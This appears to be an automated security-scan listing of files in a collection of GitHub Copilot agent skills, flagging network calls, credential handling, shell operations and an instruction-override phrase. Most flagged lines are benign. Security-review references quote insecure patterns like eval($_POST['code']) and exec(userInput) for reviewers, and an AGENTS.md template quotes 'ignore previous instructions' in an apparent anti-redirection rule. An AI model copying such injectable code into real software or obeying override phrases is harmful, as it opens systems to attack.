harness/github-copilot/skills/rhdh-local/rhdh_local/settings.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/rhdh-local/rhdh_local/sync.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]

harness/github-copilot/skills/rhdh-local/scripts/NOTICE

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    Project: rhdh-lab   Author: Ben Wilcock   Repository: https://github.com/benwilcock/rhdh-lab
  • Network accessline 7
    Author: Ben Wilcock   Repository: https://github.com/benwilcock/rhdh-lab   License: Apache License 2.0
  • Network accessline 8
    Repository: https://github.com/benwilcock/rhdh-lab
  • Network accessline 17
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/skills/rhdh-local/scripts/fetch-plugin-metadata.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 4
    Replaces the manual 3-step curl chain in the enable-plugin workflow.
  • Network accessline 23
    _CONTENTS_URL = (     "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays"
  • Network accessline 24
    "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays"
  • Network accessline 25
    "/contents/catalog-entities/extensions/plugins" ) _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main"
  • Network accessline 27
    _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main"
  • Network accessline 296
    req = urllib.request.Request(url, headers={"User-Agent": "rhdh-skill/0.1"})
  • Network accessline 297
    with urllib.request.urlopen(req, timeout=30) as resp:
  • Network accessline 341
    url = (         f"https://api.github.com/repos/redhat-developer/"
  • Network accessline 342
    f"https://api.github.com/repos/redhat-developer/"

harness/github-copilot/skills/rhdh-local/scripts/rhdh-local

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/rhdh-local/workflows/enable-plugin.md

  • Network accessline 157
    - [ ] No errors in `podman compose logs install-dynamic-plugins` - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007`
  • Network accessline 158
    - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`
  • Network accessline 159
    - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` </success_criteria>
  • Network accessline 160
    - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`

harness/github-copilot/skills/rhdh-local/workflows/switch-mode.md

  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 92
    # 2. Test at http://localhost:7007
  • Network accessline 130
    - [ ] `rhdh-local/` git status is clean (`git status` shows no modified files) - [ ] RHDH starts at `http://localhost:7007` with Guest login
  • Network accessline 131
    - [ ] RHDH starts at `http://localhost:7007` with Guest login

harness/github-copilot/skills/rhdh-local/workflows/test-plugin.md

  • Network accessline 73
    1. Open `http://localhost:7007` - Login as Guest
  • Network accessline 83
    curl http://localhost:7007/api/<plugin>/health

harness/github-copilot/skills/rhdh/references/rhdh-repos.md

  • Network accessline 9
    - **Upstream:** <https://github.com/redhat-developer/rhdh>
  • Network accessline 11
    - **Tech stack:** Node.js 22, TypeScript, React, Yarn 4, Turbo monorepo - **Key concepts:**   - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module l
  • Network accessline 12
    - **Key concepts:**   - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoo
  • Network accessline 13
    - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoot>` which fetches plug
  • Network accessline 23
    - **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh>
  • Network accessline 29
    - **Upstream:** <https://github.com/redhat-developer/rhdh-cli>
  • Network accessline 43
    - **Upstream:** <https://github.com/redhat-developer/rhdh-local>
  • Network accessline 57
    - **Upstream:** <https://github.com/redhat-developer/rhdh-operator>
  • Network accessline 72
    - **Upstream:** <https://github.com/redhat-developer/rhdh-chart>
  • Network accessline 85
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-overlays>
  • Network accessline 98
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-utils>
  • Network accessline 111
    - **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh-plugin-catalog>
  • Network accessline 125
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugins>
  • Network accessline 139
    - **Upstream:** <https://github.com/redhat-developer/rhdh-dynamic-plugin-factory>
  • Network accessline 149
    - **Upstream:** <https://github.com/backstage/backstage>

harness/github-copilot/skills/rhdh/references/slack-notification.md

  • Network accessline 109
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1234
  • Network accessline 125
    Priority: Add plugin configuration to enable smoke tests See: https://github.com/.../README.md#smoke-test-config
  • Network accessline 126
    See: https://github.com/.../README.md#smoke-test-config
  • Network accessline 128
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1235
  • Network accessline 143
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1236

harness/github-copilot/skills/rhdh/references/versions.md

  • Network accessline 19
    Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0)
  • Network accessline 53
    Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0)
  • Network accessline 87
    Based on [Backstage 1.42.5](https://backstage.io/docs/releases/v1.42.0)
  • Network accessline 121
    Based on [Backstage 1.39.1](https://backstage.io/docs/releases/v1.39.0)
  • Network accessline 155
    Based on [Backstage 1.36.1](https://backstage.io/docs/releases/v1.36.0)
  • Network accessline 193
    Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/app/package.json) in the `app` package.
  • Network accessline 197
    Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/backend/package.json) in the `backend` package.
  • Network accessline 210
    Check the [Version Matrix](https://github.com/redhat-developer/rhdh/blob/main/docs/dynamic-plugins/versions.md) for specific CLI versions if needed.

harness/github-copilot/skills/rhdh/rhdh/__init__.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/rhdh/rhdh/__main__.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/rhdh/rhdh/cli.py

  • Executable scriptline 1
    Executable file
  • Network accessline 152
    checks.append({"name": "gh_cli", "status": "fail", "message": "not installed"})         fmt.log_fail("gh CLI: not installed")         next_steps.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 154
    next_steps.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 296
    checks.append({"name": "gh_installed", "status": "fail", "message": "not installed"})         fmt.log_fail("gh CLI not installed")         issues.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 298
    issues.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 404
    rhdh_running = False         try:             with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 405
    try:             with socket.create_connection(("localhost", 7007), timeout=1):                 rhdh_running = True
  • Network accessline 406
    with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 411
    if rhdh_running:             checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"})             fmt.log_ok("  RHDH: running on http://localhost:7007")
  • Network accessline 412
    checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"})             fmt.log_ok("  RHDH: running on http://localhost:7007")         else:
  • Network accessline 413
    fmt.log_ok("  RHDH: running on http://localhost:7007")

harness/github-copilot/skills/rhdh/rhdh/config.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 400
    [Credential-related source omitted]
  • Access to secretsline 442
    [Credential-related source omitted]
  • Access to secretsline 474
    [Credential-related source omitted]
  • Dangerous shell operationline 922
    [f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],
  • Dangerous shell operationline 928
    [f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],

harness/github-copilot/skills/rhdh/rhdh/formatters.py

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    BLUE = "\033[0;34m" BOLD = "\033[1m" NC = "\033[0m"  # No Color
  • Network accessline 36
    NC = "\033[0m"  # No Color

harness/github-copilot/skills/rhdh/rhdh/todo.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/rhdh/rhdh/worklog.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/rhdh/rhdh/workspace.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/rhdh/scripts/rhdh

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/rhino3d-scripts/SKILL.md

  • Access to secretsline 213
    [Credential-related source omitted]
  • Network accessline 263
    - [RhinoScript landing](https://docs.mcneel.com/rhino/8/help/en-us/information/rhinoscripting.htm)
  • Network accessline 264
    - [Developer hub](https://developer.rhino3d.com/)
  • Network accessline 265
    - [RhinoCommon API index](https://mcneel.github.io/rhinocommon-api-docs/api/RhinoCommon/html/R_Project_RhinoCommon.htm)
  • Network accessline 266
    - [Example scripts repo](https://github.com/mcneel/rhino-developer-samples/tree/8/rhinoscript)

harness/github-copilot/skills/rhino3d-scripts/references/macros-and-loading.md

  • Access to secretsline 118
    [Credential-related source omitted]

harness/github-copilot/skills/ruby-mcp-server-generator/references/project-templates.md

  • Network accessline 8
    source 'https://rubygems.org'

harness/github-copilot/skills/sandbox-npm-install/scripts/install.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 99
    rm -rf "$DEPS_DIR"
  • Dangerous shell operationline 126
    rm -rf node_modules
  • Dangerous shell operationline 180
    elif command -v sudo &>/dev/null && sudo -n true 2>/dev/null; then
  • Dangerous shell operationline 181
    # Non-root but passwordless sudo available — install browsers then system deps
  • Dangerous shell operationline 183
    sudo npx playwright install-deps chromium
  • Dangerous shell operationline 186
    echo "System dependencies not installed (no root/sudo access)."
  • Dangerous shell operationline 187
    echo "Playwright tests may fail. Run: sudo npx playwright install-deps chromium"

harness/github-copilot/skills/scoutqa-test/SKILL.md

  • Network accessline 56
    scoutqa --url "https://example.com" --prompt "Your test instructions"
  • Network accessline 61
    - **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 62
    - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 92
    # Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 93
    scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 110
    scoutqa --url "https://example.com" --prompt "
  • Network accessline 119
    scoutqa --url "https://shop.example.com" --prompt "
  • Network accessline 130
    # Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 131
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 136
    # Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 137
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 142
    # Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 143
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 248
    scoutqa --url "http://localhost:3000/register" --prompt "
  • Network accessline 298
    Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 299
    View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 381
    **Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 383
    **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 401
    - [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such
  • Network accessline 402
    - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc
  • Network accessline 403
    - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`.
  • Network accessline 404
    - [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.

harness/github-copilot/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/github-copilot/skills/secret-scanning/SKILL.md

  • Network accessline 153
    - [Secret scanning in AI coding agents via the GitHub MCP Server](https://github.blog/changelog/2026-03-17-secret-scanning-in-ai-coding-agents-via-the-github-mcp-server/)

harness/github-copilot/skills/secret-scanning/references/push-protection.md

  • Network accessline 155
    For the full list of patterns supported by push protection, see [Supported secret scanning patterns](https://docs.github.com/en/code-security/secret-scanning/introduction/supported-secret-scanning-patterns).

harness/github-copilot/skills/security-review/references/language-patterns.md

  • Dangerous shell operationline 11
    eval()                    // arbitrary code execution
  • Dangerous shell operationline 87
    eval(request.args.get('expr'))
  • Network accessline 116
    // XXE DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true)
  • Network accessline 118
    // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true)
  • Dangerous shell operationline 143
    eval($_POST['code']);
  • Dangerous shell operationline 192
    eval(params[:code])

harness/github-copilot/skills/security-review/references/report-format.md

  • Network accessline 114
    Action Required:   1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com
  • Network accessline 115
    1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com
  • Access to secretsline 117
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]

harness/github-copilot/skills/security-review/references/secret-patterns.md

  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 151
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 173
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]

harness/github-copilot/skills/security-review/references/vuln-categories.md

  • Dangerous shell operationline 46
    - `eval()`, `setTimeout(string)`, `setInterval(string)` with user data
  • Dangerous shell operationline 61
    exec(userInput)
  • Dangerous shell operationline 71
    eval(user_input)
  • Dangerous shell operationline 76
    exec($input)
  • Network accessline 100
    fetch(req.body.url)
  • Access to secretsline 171
    [Credential-related source omitted]

harness/github-copilot/skills/security-review/references/vulnerable-packages.md

  • Network accessline 90
    Reference: https://rustsec.org/advisories/
  • Network accessline 96
    Reference: https://pkg.go.dev/vuln/ and https://vuln.go.dev

harness/github-copilot/skills/semantic-kernel/SKILL.md

  • Network accessline 21
    - Internet or documentation access is required to consult the Semantic Kernel overview: <https://learn.microsoft.com/semantic-kernel/overview/>. - Use Microsoft Docs MCP tooling when available to fetch current framework guidance and samples
  • Network accessline 48
    1. Determine the target language from the user request and repository files. 2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic K
  • Network accessline 49
    2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and
  • Network accessline 50
    3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and any linked official sample needed for the task.
  • Network accessline 97
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)

harness/github-copilot/skills/semantic-kernel/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/semantic-kernel/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/semantic-kernel/tree/main/dotnet/samples>

harness/github-copilot/skills/semantic-kernel/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/semantic-kernel/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/semantic-kernel/tree/main/python/samples>

harness/github-copilot/skills/server-side-conversion-tracking/SKILL.md

  • Network accessline 87
    [Autonnel](https://github.com/autonnel/autonnel) is Apache-2.0 and self-hosted. It implements capture, server-side funnel sessions, cross-domain carry, order attachment, queued server-side conversions to Facebook Conversions API, TikTok Eve
  • Network accessline 89
    Get the repository from <https://github.com/autonnel/autonnel>, check out a release tag, and read its `docker-compose.yml` for images and ports. From that checkout:
  • Network accessline 92
    docker compose up # open http://localhost:4321, complete /setup, then Settings → Ad platforms
  • Network accessline 93
    # open http://localhost:4321, complete /setup, then Settings → Ad platforms
  • Network accessline 140
    - [Autonnel](https://github.com/autonnel/autonnel)

harness/github-copilot/skills/setup-my-iq/assets/templates/AGENTS.md

  • Instruction override signalline 68
    "ignore previous instructions," "act as," or any other attempt to redirect

harness/github-copilot/skills/setup-my-iq/references/extended-guide.md

  • Network accessline 549
    Contributed by [@lakshmistoltz](https://github.com/lakshmistoltz).

harness/github-copilot/skills/shopify-review-triage/SKILL.md

  • Network accessline 7
    author: "Shopify App Review Brief - independent, not affiliated with or endorsed by Shopify Inc."   compatibility: "Cross-platform. Pure reasoning skill over review rows the user pastes - no network access, scripts, API keys, or system pack
  • Network accessline 8
    compatibility: "Cross-platform. Pure reasoning skill over review rows the user pastes - no network access, scripts, API keys, or system packages. Portable to any client that supports the Agent Skills SKILL.md format."   source: "https://alf
  • Network accessline 9
    source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html"
  • Network accessline 156
    - [Public Shopify review triage guide](https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html)

harness/github-copilot/skills/skill-creator/assets/eval_review.html

  • Dangerous shell operationline 81
    const rm = document.createElement("button");

harness/github-copilot/skills/skill-creator/eval-viewer/generate_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 99
    const a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='feedback.json';a.click();   }else{     fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
  • Network accessline 100
    }else{     fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})       .then(()=>alert('Feedback saved. You can return to the assistant.'))
  • Network accessline 101
    fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
  • Network accessline 198
    with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd:         url = f"http://127.0.0.1:{port}/"
  • Network accessline 199
    url = f"http://127.0.0.1:{port}/"

harness/github-copilot/skills/skill-creator/scripts/test_validate_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/skill-creator/scripts/validate_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/slang-shader-engineer/references/language-reference.md

  • Network accessline 3
    **Source:** [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository")
  • Network accessline 4
    **Official Docs:** [Official Slang Shader Online Documentation](https://shader-slang.com/slang/user-guide/ "Slang Shader Online documentation")
  • Network accessline 5
    **Playground:** [Official Slang Shader Sandbox](https://shader-slang.com/slang-playground)

harness/github-copilot/skills/slang-shader-engineer/references/slang-documentation-full.md

  • Network accessline 3
    Source: [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository")
  • Network accessline 1311
    git clone https://github.com/shader-slang/slang --recursive
  • Network accessline 1347
    # Install and activate Emscripten git clone https://github.com/emscripten-core/emsdk.git
  • Network accessline 1348
    git clone https://github.com/emscripten-core/emsdk.git
  • Network accessline 1479
    Source: [Slang Shader repository docs](https://github.com/shader-slang/slang/tree/master/docs)

harness/github-copilot/skills/snowflake-semanticview/SKILL.md

  • Network accessline 130
    - [Snowflake CLI installation](https://docs.snowflake.com/en/developer-guide/snowflake-cli/installation/installation)
  • Network accessline 131
    - [Configure Snowflake CLI connections](https://docs.snowflake.com/en/developer-guide/snowflake-cli/connecting/configure-connections#add-a-connection)
  • Network accessline 132
    - [CREATE SEMANTIC VIEW](https://docs.snowflake.com/en/sql-reference/sql/create-semantic-view)
  • Network accessline 133
    - [COMMENT command](https://docs.snowflake.com/en/sql-reference/sql/comment)
  • Network accessline 134
    - [Querying a semantic view](https://docs.snowflake.com/en/user-guide/views-semantic/querying#querying-a-semantic-view)

harness/github-copilot/skills/sonarqube-api-query/SKILL.md

  • Network accessline 161
    - [SonarQube Server Web API](https://docs.sonarsource.com/sonarqube-server/extension-guide/web-api)
  • Network accessline 162
    - [SonarQube Cloud Web API](https://docs.sonarsource.com/sonarqube-cloud/appendices/web-api)
  • Network accessline 163
    - [Official SonarQube agent plugins](https://github.com/SonarSource/sonarqube-agent-plugins)

harness/github-copilot/skills/sonarqube-api-query/references/web-api.md

  • Network accessline 9
    - SonarQube Server Web API documentation: <https://docs.sonarsource.com/sonarqube-server/extension-guide/web-api>
  • Network accessline 10
    - SonarQube Cloud Web API documentation: <https://docs.sonarsource.com/sonarqube-cloud/appendices/web-api>
  • Network accessline 11
    - SonarQube Server public endpoint metadata: <https://next.sonarqube.com/sonarqube/api/webservices/list>
  • Network accessline 12
    - SonarQube Cloud EU endpoint metadata: <https://sonarcloud.io/api/webservices/list>
  • Network accessline 18
    | Target | Web API v1 base URL | | --- | --- | | Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. |
  • Network accessline 19
    | --- | --- | | Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. | | SonarQube Cloud EU | `https://sonarcloud.io` |
  • Network accessline 20
    | Self-hosted SonarQube Server | The instance root, including any context path, such as `https://sonarqube.example.com` or `https://example.com/sonarqube`. |
  • Network accessline 21
    | SonarQube Cloud EU | `https://sonarcloud.io` |
  • Network accessline 22
    | SonarQube Cloud US | `https://sonarqube.us` |
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 32
    - The `X-Sonar-Passcode` scheme is for specific monitoring operations and is not supported by the bundled helper. - A response may include `SonarQube-Authentication-Token-Expiration`; report it without exposing the token. - Allow `http://` 
  • Network accessline 34
    - Allow `http://` only when the selected local or internal instance actually uses it. Prefer HTTPS for remote instances.

harness/github-copilot/skills/sonarqube-api-query/scripts/sonarqube_query.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 208
    [Credential-related source omitted]
  • Network accessline 209
    timeout: int,     opener: Callable[..., Any] = urllib.request.urlopen, ) -> HttpResult:
  • Network accessline 210
    opener: Callable[..., Any] = urllib.request.urlopen,
  • Network accessline 218
    raise QueryError("token environment variable contains invalid newline characters")         headers["Authorization"] = f"Bearer {token}"     request = urllib.request.Request(
  • Network accessline 219
    headers["Authorization"] = f"Bearer {token}"     request = urllib.request.Request(         request_url(base_url, endpoint, parameters),
  • Network accessline 220
    request = urllib.request.Request(
  • Access to secretsline 755
    [Credential-related source omitted]
  • Access to secretsline 756
    [Credential-related source omitted]
  • Access to secretsline 760
    [Credential-related source omitted]
  • Access to secretsline 854
    [Credential-related source omitted]

harness/github-copilot/skills/sonarqube-api-query/scripts/test_sonarqube_query.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 59
    def test_base_url_preserves_context_path_and_rejects_credentials(self):         self.assertEqual(             normalize_base_url("https://example.test/sonarqube/"),
  • Network accessline 60
    self.assertEqual(             normalize_base_url("https://example.test/sonarqube/"),             "https://example.test/sonarqube",
  • Network accessline 61
    normalize_base_url("https://example.test/sonarqube/"),
  • Network accessline 62
    "https://example.test/sonarqube",
  • Network accessline 63
    )         with self.assertRaisesRegex(QueryError, "must not contain credentials"):             normalize_base_url("https://user:secret@example.test")
  • Network accessline 64
    with self.assertRaisesRegex(QueryError, "must not contain credentials"):             normalize_base_url("https://user:secret@example.test")         with self.assertRaisesRegex(QueryError, "query string"):
  • Network accessline 65
    normalize_base_url("https://user:secret@example.test")
  • Network accessline 67
    [Credential-related source omitted]
  • Network accessline 94
    [                 "--base-url",                 "https://example.test",
  • Network accessline 95
    "--base-url",                 "https://example.test",                 "issues",
  • Network accessline 96
    "https://example.test",
  • Network accessline 131
    [                 "--base-url",                 "https://example.test",
  • Network accessline 132
    "--base-url",                 "https://example.test",                 "projects",
  • Network accessline 133
    "https://example.test",
  • Network accessline 155
    [                 "--base-url",                 "https://sonarcloud.io",
  • Network accessline 156
    "--base-url",                 "https://sonarcloud.io",                 "--organization",
  • Network accessline 157
    "https://sonarcloud.io",
  • Network accessline 192
    [                 "--base-url",                 "https://sonarcloud.io",
  • Network accessline 193
    "--base-url",                 "https://sonarcloud.io",                 "hotspots",
  • Network accessline 194
    "https://sonarcloud.io",
  • Network accessline 227
    result = http_get(             "https://example.test/sonarqube",
  • Network accessline 228
    "https://example.test/sonarqube",
  • Network accessline 258
    with self.assertRaisesRegex(QueryError, "Retry-After: 60"):             http_get(                 "https://sonarcloud.io",
  • Network accessline 259
    http_get(                 "https://sonarcloud.io",                 "/api/projects/search",
  • Network accessline 260
    "https://sonarcloud.io",
  • Network accessline 289
    result = execute_spec(             spec,             "https://example.test",
  • Network accessline 290
    spec,             "https://example.test",             None,
  • Network accessline 291
    "https://example.test",
  • Network accessline 322
    result = execute_spec(             spec,             "https://example.test",
  • Network accessline 323
    spec,             "https://example.test",             None,
  • Network accessline 324
    "https://example.test",
  • Network accessline 356
    result = execute_spec(             spec,             "https://example.test",
  • Network accessline 357
    spec,             "https://example.test",             None,
  • Network accessline 358
    "https://example.test",
  • Network accessline 391
    result = execute_spec(             spec,             "https://example.test",
  • Network accessline 392
    spec,             "https://example.test",             None,
  • Network accessline 393
    "https://example.test",

harness/github-copilot/skills/sponsor-finder/SKILL.md

  • Network accessline 57
    https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{PACKAGE}/versions/{VERSION}:dependencies
  • Network accessline 62
    https://api.deps.dev/v3/systems/npm/packages/express/versions/5.2.1:dependencies
  • Network accessline 87
    https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{NAME}/versions/{VERSION}
  • Network accessline 108
    https://api.deps.dev/v3/projects/github.com%2F{owner}%2F{repo}
  • Network accessline 133
    ### 5a: npm `funding` field (npm ecosystem only) Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field:
  • Network accessline 134
    Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field:
  • Network accessline 135
    - **String: ** `"https://github.com/sponsors/sindresorhus"` → use as URL
  • Network accessline 136
    - **Object: ** `{"type": "opencollective", "url": "https://opencollective.com/express"}` → use `url`
  • Network accessline 148
    GitHub supports a [default community health files](https://docs.github.com/en/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file) convention: a `.github` repository at the user/org level p
  • Network accessline 152
    Parse the YAML (same for both 5b-i and 5b-ii): - `github: [username]` → `https://github.com/sponsors/{username}`
  • Network accessline 153
    - `github: [username]` → `https://github.com/sponsors/{username}`
  • Network accessline 154
    - `open_collective: slug` → `https://opencollective.com/{slug}`
  • Network accessline 155
    - `ko_fi: username` → `https://ko-fi.com/{username}`
  • Network accessline 156
    - `patreon: username` → `https://patreon.com/{username}`
  • Network accessline 157
    - `tidelift: platform/package` → `https://tidelift.com/subscription/pkg/{platform-package}`
  • Network accessline 249
    1.**@{user}**— {N} direct + {M} transitive deps · Maintained    {dep1}, {dep2}, {dep3}, ...    https://github.com/sponsors/{user}
  • Network accessline 251
    https://github.com/sponsors/{user}
  • Network accessline 253
    2.**Open Collective: {name}**— {N} direct + {M} transitive deps · Maintained    {dep1}, {dep2}, {dep3}, ...    https://opencollective.com/{name}
  • Network accessline 255
    https://opencollective.com/{name}
  • Network accessline 257
    3.**@{user2}**— {N} direct dep · Low activity    {dep1}    https://github.com/sponsors/{user2}
  • Network accessline 259
    https://github.com/sponsors/{user2}

harness/github-copilot/skills/spring-boot-testing/references/instancio.md

  • Network accessline 229
    - [Instancio Documentation](https://www.instancio.org/)
  • Network accessline 230
    - [JUnit 5 Extension](https://www.instancio.org/user-guide/#junit-integration)

harness/github-copilot/skills/spring-boot-testing/references/restclienttest.md

  • Network accessline 40
    void shouldFetchWeather() {     // Given     server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 41
    // Given     server.expect(requestTo("https://api.weather.com/v1/current"))       .andExpect(method(HttpMethod.GET))
  • Network accessline 42
    server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 71
